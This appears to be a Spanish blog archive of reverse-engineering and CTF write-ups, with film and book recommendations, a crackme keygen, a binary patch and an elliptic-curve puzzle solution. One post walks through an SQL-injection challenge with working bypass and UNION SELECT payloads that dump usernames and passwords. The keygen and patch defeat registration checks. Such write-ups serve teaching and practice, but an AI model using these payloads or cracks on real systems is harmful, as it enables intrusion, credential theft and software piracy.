Este es un crackme de la web de Karpoff programado por Sotanez y realizado en Delphi. Como máximo nos deja meter nombres de 10 dígitos.
El algoritmo
Es un algoritmo muy sencillo pero veremos que nos tendremos que fijar en el DUMP de Olly para saber que demonios hace. Como de costumbre abrimos Olly y en las «Referenced Strings» localizamos la palabra «Registrado«, pinchamos en ella y localizamos la porción de código que nos interesa. Vamos a analizarla.
Vemos 3 bucles, el primero pone la memoria (Dump) a cero, el segundo guarda nuestro nombre (errata en la imagen) en el Dump y el tercero realiza la suma de los valores ascii del nombre. Hasta aquí todo bien, pero vamos a hacer una prueba para el nombre deurus.
Nombre: deurus
Serial: 64+65+75+72+75+73 = 298 (664 en decimal)
Probamos el serial en el programa y nos da error, vale, vamos a analizar más a fondo los bucles.
El primer bucle hemos dicho que pone la memoria a 0, en concreto desde «45BC60» y de 4 en 4 (fíjate en el Add 4), es decir, pone a 0 los offsets 45BC60, 45BC64, 45BC68, 45BC6C, 45BC70, 45BC74, 45BC78, 45BC7C, 45BC80, 45BC84, ya que el bucle se repite 10 veces. En la imágen queda claro.
El segundo bucle se repite 11 veces y lo que hace es guardar en el dump el valor ascii de las letras de nuestro nombre. En la imagen lo vemos.
A primera vista ya vemos un valor extraño en la posición 45BC80, y es que cuando debiera haber un 0, hay un 12. Vamos a ver como afecta esto al serial final.
El tercer bucle se repite 10 veces y lo que hace es sumar los valores que haya en el DUMP en las posiciones anteriormente citadas.
En concreto suma 64+65+75+72+75+73+0+0+12+0 = 2AA (682 en decimal). Probamos 682 como serial y funciona. Realizando más pruebas vemos que para nombres con un tamaño inferior a 5 letras se ocupan las posiciones 45BC70 y 45BC80 con valores extraños, el resto de posiciones se mantienen a 0. En las imágenes inferiores se pueden apreciar más claramente los valores extraños.
Nombre de tamaño < 5.
Nombre de tamaño >5 y <9
Nombre de tamaño = 10
En resumen:
Nombre de tamaño < 5 –> Ascii SUM + 14h Nombre de tamaño >5 y <9 –> Ascii SUM + 12h Nombre de tamaño =10 –> Ascii SUM
Con esto ya tenemos todo lo que necesitamos para nuestro keygen.
char Nombre[11];
GetWindowText(hwndEdit1, Nombre, 11);
char Serial[20];
int len = strlen(Nombre);
int suma = 0;
for(int i = 0; i <= len; i = i + 1)
{
suma += Nombre[i];
}
if(len < 5){
suma +=0x14;
}
if(len > 5 && len < 9){
suma +=0x12;
}
wsprintf(Serial,"%d",suma);
SetWindowText(hwndEdit2, TEXT(Serial));
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1
Seguido tenemos la pregunta de seguridad.
Introducimos cualquier cosa y nos muestra el siguiente error.
El error nombra la tabla «security«, luego la usaremos.
Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.
Inyección SQL Avanzada
Para inyectar a continuación meter cualquier nombre y la inyección en el password.
Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password
Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.
Obtener ID, name, password para los usuarios con ID = 1,2,3,4…
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4…
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users
Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.
La primera entrega de Misión Imposible es ya un clásico y poco o nada tiene que envidiar a sus secuelas. Es ágil, entretenida y como toda peli de espías que se precie, los protagonistas tienen gadgets por un tubo.
El argumento gira sobre la lista NOC. Dicha lista relaciona nombres en clave de agentes repartidos por el mundo con sus nombres reales y al parecer la quiere todo el mundo.
Lista NOC
¿Donde está la lista aquí o aquí?
Al inicio nos hacen creer que la lista NOC está en un sótano de una embajada (No jodas), sin seguridad y accesible por todo el mundo que sepa llegar allí. En esta ocasión no se puede ni llamar hackeo, ya que, el tipo en cuestión simplemente copia la lista (bueno la mitad 😉 en un disco de 3,5″
Tipo robando la lista NOC
¿Eso son Emails o Newsgroups?
Aquí empieza la locura. ¿Os acordáis del BTM de Dexter donde empieza a escribir en foros aleatorios con la esperanza de contactar con el carnicero de la bahía?, pues aquí lo mismo pero con grupos de noticias o newsgroups.
La cosa es que a Ethan Hank no se le ocurre mejor idea para encontrar a Max que buscar en todo tipo de grupos de noticias relacionados con temas bíblicos y en concreto con el libro de Job. Vamos a ver Ethan, hijo del metal, eso es una puta locura, ya de paso anúnciate en el periódico y ponte una diana en el pecho. Pero como es una película resulta que funciona. El caso es que parece que existen la ostia de grupos de discusión donde incluso se puede hablar sobre un capítulo y versículo en particular.
Newsgroup sobre el Libro de Job
El error
El problema es que en cada grupo que encuentra escribe un mensaje muy parecido a como se escribe un email y claro, queda un poco mal. Tanto si quieren hacer creer que escriben un email como si no, el caso es que la escena pierde credibilidad. Ni podría ser un email ni parece factible que alguien se ponga ese nombre de usuario, en definitiva, una chapuza.
¿Parece un email no?
Os dejo una serie de imágenes para que os deleitéis.
El reto consiste en dos imágenes (v1.png y v2.png) que, a simple vista, parecen contener ruido aleatorio. Sin embargo, ambas forman parte de un sistema de criptografía visual en la que cada imagen contiene información parcial que no es interpretable por separado, pero que al combinarse correctamente revelan informaciónoculta.
La trampa está en que la combinación no se hace con operaciones normales como suma, resta o multiplicación. El autor del reto espera que el jugador use una herramienta como StegSolve y pruebe distintas operaciones tipo XOR, AND o MUL hasta encontrar una transformación en la que uno de los métodos muestre algo significativo. El truco está en llegar a la conclusión de que una de las imágenes hay que invertirla antes de combinar ambas imágenes. Todo esto se puede hacer con StegSolve sin necesidad de utilizar ninguna herramienta adicional, pero voy a aprovechar para hacerlo con python y así de paso entendemos como realiza las operaciones StegSolve. En resumen, para resolver el reto basta con:
Invertir (Colour Inversion XOR) una de las imágenes.
Combinar ambas imágenes mediante Analyse > Combine images.
Operación MUL del combinador.
La operación MUL no es una multiplicación normalizada, sino una multiplicación de enteros de 24 bits (0xRRGGBB) con overflow, algo que la mayoría de herramientas no replican correctamente.
¿Por qué aparece la solución con esa combinación
Las imágenes están preparadas para que ciertos bits de color en una imagen sean el complemento de los de la otra. Por tanto:
Si se muestran tal cual → parecen ruido
Si se combinan mediante XOR → parte de la estructura aparece, pero no se ve el resultado correcto
Si se combinan mediante MUL «normal» → tampoco aparece
Si se aplica la multiplicación bitwise exacta usada por StegSolve → se alinean las partes ocultas
La operación MUL de StegSolve no es una multiplicación de píxeles, es decir, no hace:
Hoy vamos a hacer algo diferente, vamos a hacer un keygen con la propia víctima. El término anglosajón para esto es «selfkeygening» y no es que esté muy bien visto por los reversers pero a veces nos puede sacar de apuros.
La víctima elegida es el Crackme 2 de LaFarge. Está hecho en ensamblador.
Injerto Light
Primeramente vamos a realizar un injerto light, con esto quiero decir que vamos a mostrar el serial bueno en la MessageBox de error.
Abrimos Olly y localizamos el código de comprobación del serial, tenemos suerte ya que el serial se muestra completamente y no se comprueba byte a byte ni cosas raras. En la imagen inferior os muestro el serial bueno para el nombre deurus y el mensaje de error. Como podeis observar el serial bueno se saca de memoria con la instrucción PUSH 406749 y el mensaje de error con PUSH 406306.
Si cambiamos el PUSH del serial por el de el mensaje de error ya lo tendriámos. Nos situamos encima del PUSH 406306 y pulsamos espacio, nos saldrá un diálogo con el push, lo modificamos y le damos a Assemble.
Ahora el crackme cada vez que le demos a Check it! nos mostrará:
Keygen a partir de la víctima
Pero no nos vamos a quedar ahí. Lo interesante sería que el serial bueno lo mostrara en la caja de texto del serial. Esto lo vamos a hacer con la función user32.SetDlgItemTextA.
Según dice la función necesitamos el handle de la ventana, el ID de la caja de texto y el string a mostrar. La primera y segunda la obtenemos fijándonos en la función GetDlgItemTextA que recoje el serial introducido por nosotros. La string es el PUSH 406749.
Con esto ya tenemos todo lo que necesitamos excepto el espacio dentro del código, en este caso lo lógico es parchear las MessageBox de error y acierto. Las seleccionamos, click derecho y Edit > Fill with NOPs.
Ahora escribimos el injerto.
Finalmente con Resource Hack cambiamos el aspecto del programa para que quede más profesional y listo. Tenemos pendiente hacer el keygen puro y duro, venga agur.
La apacible existencia de Ángel Ríos da un vuelco cuando una antigua compañera de clase, de la que siempre ha estado enamorado, le pide ayuda para descifrar un misterioso archivo. A partir de entonces, Ángel se verá envuelto en una intriga relacionada con el contenido del archivo, que complicará su vida y lo expondrá a un grave peligro. En el camino hacia la verdad, únicamente contará con sus sorprendentes conocimientos de hacking y el apoyo de su peculiar amigo Marcos. Técnicas de hacking web, sistemas y análisis forense son algunos de los temas que se tratan con total rigor en esta mezcla de novela negra y manual técnico.
La Caza de Hackers: Ley y Desorden en la Frontera Electrónica
En 1990, la caída del sistema del día de Martin Luther King, que afecto a la compañía telefónica AT&T y dejó sin comunicaciones a millones de norteamericanos, desencadenó la persecución y detención de decenas de hackers, acusados de causar el hundimiento, que hasta ese momento era ignorados por la policía y las leyes. Bruce Sterling, considerado uno de los mayores expertos en el género del ciberpunk, nos ofrece un apasionante reportaje desde el principio de la era de internet, los ordenadores personales, y la frontera electrónica partiendo de la base de ese hecho inaudito. Con una entretenida prosa novelesca, Sterling nos lleva a conocer a todos los implicados en el asunto, desde los primeros activistas de internet hasta los policías encargados del caso, que cimentó los pilares de lo que hoy es la libertad de expresión en Internet. 25 años después de los sucesos del día de Martin King, «La Caza de Hackers», se ha convertido en un libro de culto y un documento histórico imprescindible para comprender y entender la transformación y el impacto de las nuevas comunicaciones en el Siglo XXI.
Cybersecurity for the Home and Office
El título de este libro anima a que tomes control de la ciberseguridad no solo en tu trabajo, sino también para tus asuntos personales. La ciberdelincuencia es una industria delictiva que mueve miles de millones de dólares al año y cuyos actores apenas temen a las fuerzas del orden. Los incidentes siguen creciendo, y más allá de la protección en los lugares de trabajo, también es necesario protegernos a nosotros mismos y a nuestras familias.
Messing with the Enemy: Surviving in a Social Media World of Hackers, Terrorists, Russians, and Fake News
Clint Watts, un ex agente especial del FBI, oficial del Ejército de Estados Unidos y destacado experto en ciberseguridad, ofrece una mirada devastadora y esencial a las campañas de desinformación, las noticias falsas y las operaciones de espionaje electrónico que se han convertido en la vanguardia de la guerra moderna. También ofrece consejos para protegernos en nuestro día a día.
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Con multitud de ejemplos, este libro le mostrará que Internet no es simplemente una forma de ver vídeos de gatos monos; es un campo de batalla, un invento militar que se descubrió accidentalmente que era capaz de dominar cualquier amenaza económica, digital y políticamente. Desde los foros más burdos hasta los servicios en línea más sofisticados, hay una guerra en marcha y, lo quieras o no, estás implicado por el mero hecho de estar aquí, así que mejor ármate de conocimientos.
Hackstory.es
Historia de la comunidad hacker en España, centrada en la década de los 90, cuando aparecen los primeros grupos y nace la cultura hacker. El libro narra el quién fue quién, así como sus hazañas, anécdotas y colectivos e individuales más punteros. Este ingente trabajo de investigación nació en 2009, con la puesta en marcha de un wiki, al estilo wikipedia, llamado Hackstory.net y donde en estos años la autora ha ido creando fichas, accesibles al público, que le han permitido escribir este libro, sin parangón en Europa. La comunidad hacker ha revisado los textos así como apoyado a la autora, tanto a la hora de aportar información, como en una campaña de «crowdfunding» con la que se consiguió una respetable cantidad para tener el tiempo suficiente de escribir el libro. Además de ser sus principales mecenas, protagonistas y aportadores de información, los hackers españoles han participado en todos los aspectos organizativos relacionados con la producción y distribución del libro.
Documentales
Hackers wanted
Documental narrado por Kevin Spacey que explora los orígenes y la naturaleza de los hackers y los piratas informáticos. Sigue las aventuras de Adrián Lamo, un célebre hacker y periodista estadounidense, conocido por haber delatado a Chelsea Manning, el soldado que presuntamente filtró a WikiLeaks el vídeo que mostraba a soldados americanos asesinando a civiles en Afganistán.
Hackers are people too
Este documental tiene como objetivo retratar de forma exhaustiva la comunidad hacker. En un esfuerzo por cuestionar las ideas preconcebidas y los estereotipos de los medios de comunicación, HACKERS ARE PEOPLE TOO permite a los hackers hablar por sí mismos y presentar su comunidad al público.
Hackers in Wonderland
Hackers in Wonderland es un documental del año 2000, producido y dirigido por Russell Barnes. Se centra en los hackers del Reino Unido, y contiene entrevistas con ellos donde revelan lo que les impulsa a hackear y sus opiniones sobre el hacktivismo.
Hackers: Wizards of the electronic age
Este documental sobre la comunidad de hackers incluye imágenes de una conferencia de hackers y entrevistas con algunos de los programadores que crearon la revolución de los ordenadores personales, como Bill Atkinson, Bill Budge o Doug Carlston. Convertido ya en un clásico sobre la revolución de los ordenadores, las entrevistas fueron grabadas durante un largo fin de semana en una conferencia de hackers de 1984.
Podcast
conCISOS
Programa en el que se conversa con grandes profesionales del mundo de la seguridad para conocer su visión sobre la situación actual y la ciberseguridad.
El único Podcast en español íntegramente dedicado al OSINT (Open Source Intelligence), conjunto de técnicas y herramientas para recopilar información pública, correlacionar los datos y procesarlos. Está dirigido por el Analista y Consultor OSINT David Sanz y son episodios de menos de una hora donde se habla de casos reales, herramientas, noticias, libros y documentales.
Ciberseguridad sin censura, es el podcast del Instituto de Ciberseguridad en el que se tocan temas relacionados a la tecnología y seguridad, de forma objetiva y sin censura. Su visión es que a través de este podcast, puedas encontrar noticias, entrevistas y temas de tecnología y seguridad en general desde un punto de vista completamente imparcial.
Podcast centrado en ingeniería social. Entender cómo interactuamos, nos comunicamos y transmitimos información puede ayudarnos a proteger, mitigar y comprender este tipo de ataques.
Cada quince días, el hacker ético de Delinea Joseph Carson y los expertos en formación en ciberseguridad deCybrary comparten sus puntos de vista con invitados especiales en este interesante podcast sobre la actualidad en materia de ciberseguridad.
Sebastian acaba de conseguir su primer trabajo en la lejana ciudad de Dorisburg. Se traslada allí para comenzar su vida adulta y averiguar quién quiere ser realmente. Entre una extraña colección de personas, hackers y activistas, encuentra algunos verdaderos amigos, e incluso el amor. Pero, ¿podrán detener los terribles actos de la gente que gobierna la ciudad? Else Heart.Break () es una vuelta de tuerca del juego de aventuras: una historia fantástica ambientada en un mundo totalmente dinámico e interactivo.
Hackmund es un simulador de hacking multijugador basado en texto para ordenadores personales compatibles con Intel. En este emocionante videojuego, los jugadores pueden descifrar sistemas protegidos y resolver rompecabezas mientras exploran la abandonada Internet del futuro. Además, pueden escribir scripts para proteger sus ganancias y engañar a otros jugadores.
En este juego de programación desarrollado por Zachtronics Industries, puedes desarrollar un código de lenguaje ensamblador simulado para realizar ciertas tareas en un ordenador ficticio virtualizado de la década de 1970.
Will es un experto en seguridad informática que trabaja como consultor y hacker independiente en San Francisco. Su vida da un vuelco cuando es contratado por un hombre que quiere pruebas de la infidelidad de su mujer. En su investigación, descubre un misterioso programa informático del gobierno, un aterrador sistema de identificación y tracking de personas.
23 – Nichts ist so wie es scheint («Nothing is what it seems»)
Hannover, finales de los años ochenta. El huérfano Karl Koch invierte su herencia en un ordenador personal. Al principio lo usa para captar noticias sobre discusiones de teorías conspirativas inspiradas en su novela favorita, “Illuminatus”, de R.A. Wilson, pero pronto Karl y su amigo David empiezan a introducirse en ordenadores del gobierno y del ejército. Esta apasionante historia real sobre unos jóvenes alemanes, obtuvo reconocimientos a premios importantes dentro de su país de origen.
Johnny Mnemonic
Película de 1995 que tiene a Keanu Reeves como protagonista. Corre el año 2021 y la mitad de la población sufre de una enfermedad llamada “síndrome de atenuación de los nervios”. Johnny es un mensajero de información, una persona que lleva los datos más importantes del siglo XXI directamente implantados en su cerebro. Su información será muy valiosa para una gran corporación, que no parará hasta dar con él. A pesar de no haber recibido buenas críticas en su momento, su visionado futurista resulta entretenido.
Who Am I: ningún sistema es seguro
Benjamin se siente invisible, pero esto cambia cuando conoce al carismático Max. Aunque aparentemente no podrían ser más diferentes, ambos comparten el mismo interés: la piratería informática. Junto con los amigos de Max, forman un grupo subversivo de hackers que desafía al sistema y Benjamin se siente parte de algo por primera vez en su vida. Pero la cosa se pone seria de repente, cuando el grupo es incluido en la lista de buscados de la policía alemana y la Europol.
Hackers (Piratas Informáticos)
Dade acaba de mudarse con su madre a la ciudad de Nueva York. En su primer día de escuela conocerá a un grupo de jóvenes cuya afición es piratear sistemas informáticos por diversión. Dadee se unirá a ellos, pero todo se complica cuando descubren que están siendo vigilados por las autoridades. Cuando el grupo se entera de la existencia de un plan para liberar un peligroso virus en la Red, todos deberán utilizar sus habilidades informáticas para conseguir pruebas de ello mientras el Servicio Secreto y el malvado genio de los ordenadores que ha creado el virus les pisan los talones.
La Red Social
Película biográfica dirigida por David Fincher, estrenada el 24 de septiembre de 2010, en el Festival de Cine de Nueva York. Esta narra un drama de tribunales, sobre las implicaciones morales del entonces ascendente Mark Zuckerberg (interpretado por Jesse Eisenberg), cuyas peripecias lo encaminaron en la construcción de un imperio billonario, y de cómo alguien poco sociable logró conectar a cientos de millones de personas a través de su creación, Facebook.
La Red
El primer día de sus vacaciones, una programadora de ordenadores recibe un extraño disquet para que lo investigue. Se lo guarda y descubre que posee una clave para acceder al control de las bases de datos protegidas de Estados Unidos. A la vez ve cómo todos los datos de su vida que figuran en archivos informáticos son suprimidos o tergiversados.
Blackhat – Amenaza en la red
Thriller cibernético en el que varios agentes norteamericanos y chinos, con ayuda de un convicto liberado, se unen para detener a un misterioso hacker. Todo comienza cuando los gobiernos de Estados Unidos y China se ven obligados a cooperar por el bien de la seguridad nacional de ambas potencias. El motivo: una fuerte amenaza informática está poniendo en riesgo las vidas y el futuro de la población. Delitos informáticos de alto nivel para los que deberán recurrir a sus mejores agentes de campo si quieren llegar a tiempo para evitar lo peor.
The Matrix
Representa un futuro distópico en el que la humanidad está atrapada sin saberlo dentro de una realidad simulada llamada Matrix, que las máquinas inteligentes han creado para distraer a los humanos mientras usan sus cuerpos como fuente de energía en campos de cultivo. Cuando el programador informático Thomas Anderson, bajo el alias de hacker «Neo», descubre la incómoda verdad, se une a una rebelión contra las máquinas junto con otras personas que han sido liberadas de Matrix. Siendo estrenada en los Estados Unidos el 31 de marzo de 1999, es la primera entrega de la franquicia Matrix, de la que derivan (dado su éxito) una serie de videojuegos, cortos animados y cómics, llegando a ser un claro ejemplo del subgénero cyberpunk.
Juegos de guerra
Un joven informático, con una gran habilidad para falsificar notas, entra en una compañía de juegos de ordenador para probarlos y consigue poner en jaque al Departamento de Defensa de los Estados Unidos y provocar la III Guerra Mundial.
Snowden
La épica historia del hombre que en 2013 puso en jaque a los EE.UU. Cuando Edward J. Snowden desveló los documentos del programa de vigilancia mundial secreto de la NSA abrió los ojos del mundo y cerró las puertas de su propio futuro. Se vio obligado a renunciar a su carrera, a su novia de toda la vida y a su patria. ¿Fue un patriota o un traidor?
Series
Eye Candy
Esta serie de televisión estadounidense está basada en una novela y tiene como protagonista a Lindy Sampson, una solitaria hacker que tiene un blog en el que expone todo tipo de cosas: desde planes terroristas hasta presuntos asesinos. Un día, Lindy se convierte en el blanco de un peligroso acosador cibernético y asesino en serie, que se obsesiona con ella. A partir de entonces, Lindy se sumerge en la investigación policial para capturar al asesino, utilizando su especial habilidad.
Mr. Robot
Esta aclamada serie de cuatro temporadas ha sido nominada durante varios años seguidos tanto a los Globos de Oro como a los Emmy y ha sido destacada por muchos críticos como una de las mejores series de los últimos años. El protagonista es Elliot Anderson, interpretado por un estupendo Rami Malek. Un brillante programador con problemas para las relaciones sociales que durante el día trabaja como técnico de ciberseguridad y por la noche es un desinteresado justiciero cibernético, que se ve envuelto en una oscura trama.
Devs
Lily es una joven ingeniera informática que decide investigar a la empresa de tecnología para la que trabaja, pues cree que está detrás de la desaparición de su novio. A medida que avanza la investigación, descubre que la empresa está desarrollando un código que desafía las leyes del espacio y el tiempo. El director de Ex_Machina firma este hipnótico thriller que habla sobre el uso indiscriminado del Big Data, reflexiona sobre el determinismo, (alegando que ninguno de nuestros actos es libre), y diseña una interesante radiografía sobre las relaciones humanas.
Silicon Valley
Richard es un tímido programador que vive con sus tres únicos amigos y descubren un importante algoritmo que supondrá una batalla con intereses y falsas amistades. Además, una chica se cruza por primera vez en la vida de Richard.
Se nos proporciona la imagen anterior y se nos invita a resolver la ecuación para el menor entero positivo que representa cada fruta. La solución del reto es concatenar «Flag-» a la suma de los valores de las tres frutas.
Análisis inicial
El enunciado es breve pero ya nos adelanta que existen varias soluciones y que además sólo quieren los números más pequeños que podamos encontrar.
Las frutas están muy bien y son muy sanas pero a nosotros se nos hace más sencillo plantear la ecuación con letras.
Para arrojar algo de luz veamos la representación gráfica en 2D y 3D con la ayuda de Desmos.
Las gráficas más que luz nos traen oscuridad de modo que preguntemos a ChatGPT.
ChatGPT
resuelve: (x/y+z)+(y/x+z)+(z/x+y)=4 para enteros positivos
Dado que las variables x, y, z son enteros positivos, podemos intentar encontrar una solución para la ecuación bajo estas condiciones. Sin embargo, encontrar una solución exacta puede ser complejo debido a la naturaleza no lineal de la ecuación. Aun así, podemos intentar algunos enfoques:
Prueba y error: Podemos probar diferentes combinaciones de valores enteros positivos para x, y, z y ver si satisfacen la ecuación.
Análisis de casos específicos: Podemos comenzar analizando casos más simples, como cuando dos de las variables son iguales, y luego ampliar nuestra búsqueda desde allí.
Análisis gráfico o numérico: Utilizando herramientas gráficas o numéricas, podríamos identificar posibles soluciones y luego verificar si son enteros positivos.
Voy a realizar un análisis numérico con un rango limitado de valores para ver si encontramos alguna solución que cumpla con las condiciones. Vamos a probar con valores de 1 a 10 para cada variable.
El análisis numérico para valores de en el rango de 1 a 10 no ha encontrado ninguna solución que satisfaga la ecuación. Esto sugiere que, dentro de este rango, no existen combinaciones de enteros positivos que cumplan con la ecuación.
Dado que la ecuación es bastante compleja y no lineal, es posible que las soluciones, si existen, se encuentren fuera del rango considerado o que requieran un enfoque diferente para ser identificadas. Si tienes un rango específico de valores en mente o si hay alguna otra restricción o contexto relevante, por favor házmelo saber para poder ajustar el análisis en consecuencia.
Básicamente nos está invitando a utilizar prueba y error para encontrar una solución, y el prueba y error de las matemáticas no es más que la fuerza bruta en programación.
El código
Partiendo del problema anterior dame un código en python que realice una comprobación recursiva de todas las variables con un rango de 1 a 999.
soluciones = []
rango_valores_x = range(1, 999)
rango_valores_y = range(1, 999)
rango_valores_z = range(1, 999)
for x in rango_valores_x:
for y in rango_valores_y:
for z in rango_valores_z:
# Calculamos el valor de la expresión para cada combinación de x, y, z
valor = x / (y + z) + y / (x + z) + z / (x + y)
# Comprobamos si el valor es igual a 4 y agregamos la solución a la lista
if abs(valor - 4) < 1e-6: # Usamos una pequeña tolerancia para evitar errores de precisión
soluciones.append((x, y, z))
print(soluciones)
Dejo resaltada la línea 12 del código ya que en ella reside el problema. Está comprobando con un margen de tolerancia de 10-6 ya que el resultado de las diferentes fracciones no da como resultado exacto 4. Esto es un problema ya que nosotros necesitamos que de exactamente 4 para validar los valores enteros de x, y y z. Pongo un ejemplo para el que se haya perdido con una solución válida para la tolerancia 10-6 siendo x=2, y=264 y z=993.
En otras palabras, ChatGPT nos ha brindado una solución aproximada que no sirve para nuestro propósito. Seguimos probando con el código anterior quitando la tolerancia y con rangos mayores hasta que en 106 paro. Me acaba de quedar claro que con la fuerza bruta no vamos a ninguna parte, o más bien, no tenemos capacidad de computación para resolverlo de ésta manera.
¿Qué está pasando?
Lo que pasa es que estamos ante una ecuación algebraica de 3 incógnitas que deben ser enteros positivos cuya solución se alcanza mediante la teoría de curvas elípticas.
Curvas elípticas
Las curvas elípticas son fundamentales en matemáticas avanzadas, representadas por la ecuación y2=x3+Ax+B, donde A y B son constantes. Estas curvas son un punto de encuentro entre la geometría, la teoría de números y el álgebra, ofreciendo un campo rico para la exploración y el análisis. En este CTF, nos enfocaremos en los puntos racionales de las curvas elípticas. Utilizando el método tangente-secante, un procedimiento geométrico iterativo, buscaremos ampliar un conjunto finito de soluciones conocidas a la ecuación de la curva. Este método nos permite indagar en la estructura de las soluciones racionales, que potencialmente pueden ser infinitas. Además, estableceremos una conexión entre las soluciones enteras de las ecuaciones diofánticas y los puntos racionales en las curvas elípticas partiendo de la ecuación (1) especificada en el análisis inicial. A pesar de su aparente simplicidad, esta ecuación es conocida por presentar soluciones mínimas de gran tamaño.
Adecuación
Antes de nada, necesitamos saber el grado de la ecuación, de modo que planteamos la ecuación en forma polinómica estándar deshaciéndonos de los denominadores.
Ahora necesitamos expandir y simplificar para llegar a la conclusión de que estamos ante una ecuación diofántica de grado 3. Este proceso es engorroso por la cantidad de términos a manejar así que vamos a utilizar Mathematica como software de respaldo para finalmente obtener el polinomio en la forma de Weierstrass según la ecuación 4.
\begin{align}
& y^2=x^3+109x^2+224x\\
\end{align}
donde:
\begin{align}
x = \frac{−28(a+b+2c)}{(6a+6b−c)}\\
y = \frac{364(a−b)}{(6a+6b−c)}
\end{align}
Las relación entre la ecuación 3 y los puntos de la curva elíptica se establecen mediante la ecuación 4. Las transformaciones entre las soluciones (a, b, c) y los puntos (x, y) en la curva elíptica vienen dados por las ecuaciones 5 y 6. Con estas transformaciones, cada solución de la ecuación diofántica se puede representar como un punto en la curva elíptica, y las operaciones de suma de puntos en la curva elíptica pueden usarse para encontrar nuevas soluciones de la ecuación diofántica.
Mathematica
El código que tenéis a continuación pertenece al gran trabajo de Aditi Kulkarni [7], que además nos da el resultado para cualquier valor de n. Ojo porque para n=4 el resultado tiene 81 dígitos, para n=6 tiene 134, para n=10 tiene 190 y para n=12 asciende a 2707 dígitos.
(* Asignar un valor numérico a n *)
n = 4;
(* Definir la ecuación de una curva elíptica en términos de n *)
curve4 = y^2 == x^3 + (4*n^2 + 12*n - 3)*x^2 + 32*(n + 3)*x;
(* Encontrar un punto racional en la curva que no sea (4,0) *)
P4 = {x, y} /. First[FindInstance[curve4 && x != 4 && y != 0, {x, y}, Integers]];
(* Función para calcular la pendiente entre dos puntos en la curva,
o la derivada en el punto si son iguales *)
Slope4[{x1_, y1_}, {x2_, y2_}] :=
If[x1 == x2 && y1 == y2,
ImplicitD[curve4, y, x] /. {x -> x1, y -> y1},
(y2 - y1)/(x2 - x1)];
(* Función para calcular la intersección en y de la línea entre dos puntos
o la tangente en el punto si son iguales *)
Intercept4[{x1_, y1_}, {x2_, y2_}] := y1 - Slope4[{x1, y1}, {x2, y2}]*x1;
(* Función para encontrar el siguiente punto racional en la curva *)
nextRational4[{x1_, y1_}, {x2_, y2_}] :=
{Slope4[{x1, y1}, {x2, y2}]^2 - CoefficientList[curve4[[2]], x][[3]] - x1 - x2,
-Slope4[{x1, y1}, {x2, y2}]^3 + Slope4[{x1, y1}, {x2, y2}]*(CoefficientList[curve4[[2]], x][[3]] + x1 + x2) - Intercept4[{x1, y1}, {x2, y2}]};
(* Función para convertir un punto en la curva elíptica a una solución diofántica *)
ellipticToDiophantine[n_, {x_, y_}] :=
{(8*(n + 3) - x + y)/(2*(4 - x)*(n + 3)),
(8*(n + 3) - x - y)/(2*(4 - x)*(n + 3)),
(-4*(n + 3) - (n + 2)*x)/((4 - x)*(n + 3))};
(* Usar nextRational4 para iterar desde P4 hasta encontrar una solución
válida y positiva para la ecuación diofántica *)
sol4 = ellipticToDiophantine[n,
NestWhile[nextRational4[#, P4] &, P4,
! AllTrue[ellipticToDiophantine[n, #], Function[item, item > 0]] &]];
(* Escalar la solución para obtener enteros mínimos *)
MinSol4 = sol4*(LCM @@ Denominator[sol4])
(* Suma de las tres variables*)
Total[MinSol4]
Solución
Concatenando Flag- con el resultado de Mathematica tenemos la ansiada flag.
